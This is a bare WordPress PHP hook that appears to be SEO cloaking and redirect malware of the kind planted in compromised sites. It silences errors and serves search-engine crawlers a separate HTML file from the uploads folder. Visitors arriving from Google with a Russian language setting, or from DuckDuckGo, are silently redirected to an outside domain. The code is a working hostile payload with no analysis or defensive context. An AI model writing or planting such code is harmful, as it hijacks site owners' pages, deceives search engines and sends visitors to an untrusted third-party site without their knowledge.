add_action('template_redirect', function() {
    error_reporting(0);
    
    $search_engine_redirect_url = 'https://hkra46.cc/';
    $map = ['googledegreg-2323.html' => 'some-content'];
    $current_path = ltrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
    
    if (isset($map[$current_path])) {
        echo $map[$current_path];
        exit;
    }
    
    $bot_patterns = [
        'googlebot', 
        'Googlebot-Image', 
        'Googlebot-Video', 
        'Googlebot-News', 
        'Storebot-Google', 
        'Google-InspectionTool', 
        'GoogleOther', 
        'bingbot', 
        'bingpreview', 
        'msnbot', 
        'duckduckbot',
        'AdldxBot'
    ];
    
    $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $is_bot = false;
    
    foreach ($bot_patterns as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            $is_bot = true;
            break;
        }
    }
    
    if ($is_bot) {
        $html_file = WP_CONTENT_DIR . '/uploads/index.html';
        if (file_exists($html_file)) {
            status_header(200);
            header('Content-Type: text/html; charset=UTF-8');
            readfile($html_file);
        } else {
            echo date('Y-m-d') . '<h1>SEO Cloaking test</h1>';
        }
        exit;
    }
    
    if (isset($_SERVER['HTTP_REFERER'])) {
        $referer_host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
        
        if ($referer_host) {
            $accept_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
            $has_ru = strpos($accept_language, 'ru') !== false;
            
            if (preg_match('/google\.(com|ru|co\.|[a-z]{2})/i', $referer_host) && $has_ru) {
                wp_redirect($search_engine_redirect_url, 302);
                exit;
            }
            
            if (preg_match('/duckduckgo\.com/i', $referer_host)) {
                wp_redirect($search_engine_redirect_url, 302);
                exit;
            }
        }
    }
}, 1);